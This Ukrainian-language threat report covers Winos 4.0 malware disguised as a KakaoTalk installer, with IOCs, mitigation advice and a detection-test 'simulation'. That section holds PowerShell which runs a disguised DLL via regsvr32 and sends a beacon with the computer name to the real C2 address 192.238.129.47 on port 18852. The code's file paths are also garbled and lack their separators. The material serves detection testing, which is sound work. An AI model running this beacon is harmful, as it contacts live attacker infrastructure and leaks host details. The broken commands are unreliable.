Winos 4.0 Зловмисне ПЗ, що маскується під інсталятор KakaoTalk

Резюме

Зловмисники використовували отруєння SEO, щоб просунути підробник інсталятора KakaoTalk на перше місце у результатах пошуку. Інсталятор містив недійсний сертифікат цифрового підпису та вбудований пакет NSIS, який розпаковував шкідливі файли, включаючи Verifier.exe і AutoRecoverDat.dll. Після виконання, шкідливе ПЗ отримувало стійкість шляхом реєстрації DLL, запланованих завдань та використанням мутекса, потім підключалось до двох окремих серверів C2. Його можливості включали зняття знімків екрану, профілювання системи та виконання додаткових корисних навантажень у пам’яті.

Розслідування

Інтелектуальний центр безпеки AhnLab повідомив про понад 5,000 скомпрометованих ПК після початку кампанії 9 березня. Аналіз показав, що зашифровані корисні навантаження NSIS розшифровуються та знижують Verifier.exe та AutoRecoverDat.dll, створюють мутекс та завантажують шелкоди з файлів GPUCache.xml. В залежності від гілки шелкода, шкідливе ПЗ контактувало з інфраструктурою C2 на 192.238.129.47 або 119.28.70.225. Стійкість підтримувалась через реєстрацію DLL та заплановані завдання, які запускали або Verifier.exe або rundll32 з шкідливим DLL.

Пом’якшення

Організації повинні блокувати шкідливі домени та URL-адреси завантаження, пов’язані з кампанією. Вводьте строгі перевірки підпису коду та запобігайте виконанню бінарних файлів з недійсними сертифікатами. Слід використовувати білий список додатків, щоб заблокувати запуск невідомих інсталяторів NSIS. Команди безпеки також повинні стежити за конкретними мутексами, підозрілими запланованими завданнями та змінами реєстру, зазначеними у звіті.

Реакція

Команди виявлення повинні повідомляти про створення мутекса 77825d8f-46d1-42d0-b298-83068bf9e31d і запланованих завдань під MicrosoftWindowsAppID. Полюйте за Verifier.exe та AutoRecoverDat.dll у каталогах профілю користувача, та блокуйте вихідний трафік на відомі IP-адреси та порти C2. Проводьте форензичний перегляд уражених систем і повністю видаляйте всі артефакти стійкості та шкідливі компоненти.

Виконання Симуляції

Передумова: Телеметрія та Перевірка Передполітного Контролю повинні пройти.

Мотив: Цей розділ детально описує точне виконання техніки противника (TTP), призначеної для активації правила виявлення. Команди та опис мають прямо відображати ідентифіковані TTPs та прагнуть створити точну телеметрію, яку сподівається виявити логіка виявлення.

• Атака Оповідання та Команди:

  Противник уже розмістив шкідливі DLL у %LOCALAPPDATA%MicrosoftWindowsGPUCache каталог, маскуючи їх під легітимні кеш-файли. Щоб виконати навантаження, зловмисник використовує Regsvr32 (T1218.012), щоб завантажити DLL, а потім використовує завантажену компоненту, щоб ініціювати C2-зв’язок через TCP порт 18852 (або HTTPS порт 443) до закодованого сервера 192.238.129.47. Цей мережевий потік є спостережуваним індикатором, який Sigma правило відстежує.

  1. Завантаження шкідливого DLL через Regsvr32

     regsvr32 /s "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"

  2. Ініціація C2 маяка (шкідливий DLL відкриває TCP сокет до сервера C2). Для тестування ми імітуємо маяк за допомогою простого PowerShell TCP клієнта, який підключається до того ж IP/порта.

     $c2 = New-Object System.Net.Sockets.TcpClient('192.238.129.47',18852)
     $stream = $c2.GetStream()
     $payload = [System.Text.Encoding]::ASCII.GetBytes("Маяк від $env:COMPUTERNAME")
     $stream.Write($payload,0,$payload.Length)
     $stream.Close()
     $c2.Close()

• Скрипт Ретеста Наступний скрипт відтворює описані вище крокі повністю та згенерує точну мережеву телеметрію, яку Sigma правило очікує.

  # -------------------------------------------------
  # Winos4.0 C2 Симуляція – активує Sigma правило
  # -------------------------------------------------
  # 1. Завантажте шкідливий (симульований) DLL через Regsvr32
  $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
  if (Test-Path $dllPath) {
      Write-Host "[*] Реєстрація шкідливого DLL через Regsvr32..."
      regsvr32 /s $dllPath
  } else {
      Write-Error "[-] Симульованого DLL не знайдено в $dllPath – відміна."
      exit 1
  }
  
  # 2. Імітуйте маяк C2 до закодованого IP/порта
  $c2IP   = '192.238.129.47'
  $c2Port = 18852
  
  Write-Host "[*] Встановлення TCP з'єднання з $c2IP:$c2Port ..."
  try {
      $client = New-Object System.Net.Sockets.TcpClient($c2IP,$c2Port)
      $stream = $client.GetStream()
      $msg    = "Маяк від $env:COMPUTERNAME о $(Get-Date -Format o)"
      $bytes  = [System.Text.Encoding]::ASCII.GetBytes($msg)
      $stream.Write($bytes,0,$bytes.Length)
      Write-Host "[+] Маяк надіслано."
  } catch {
      Write-Error "[-] З'єднання не вдалося: $_"
  } finally {
      if ($stream) { $stream.Close() }
      if ($client) { $client.Close() }
  }
  # -------------------------------------------------

• Команди Очищення Видаліть всі тимчасові артефакти та закрийте залишені з’єднання.

  # Видаліть симульований шкідливий DLL (якщо це тестовий артефакт)
  $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
  if (Test-Path $dllPath) {
      Remove-Item -Path $dllPath -Force
      Write-Host "[*] Очищено симульований DLL."
  }
  
  # Забезпечте, щоб не залишилось осиротілих TCP слухачів (малоймовірно для клієнтської лише сторони)
  Get-NetTCPConnection -RemoteAddress 192.238.129.47 -RemotePort 18852 | ForEach-Object {
      # Дія не потрібна; з'єднання закриваються в скрипті.
  }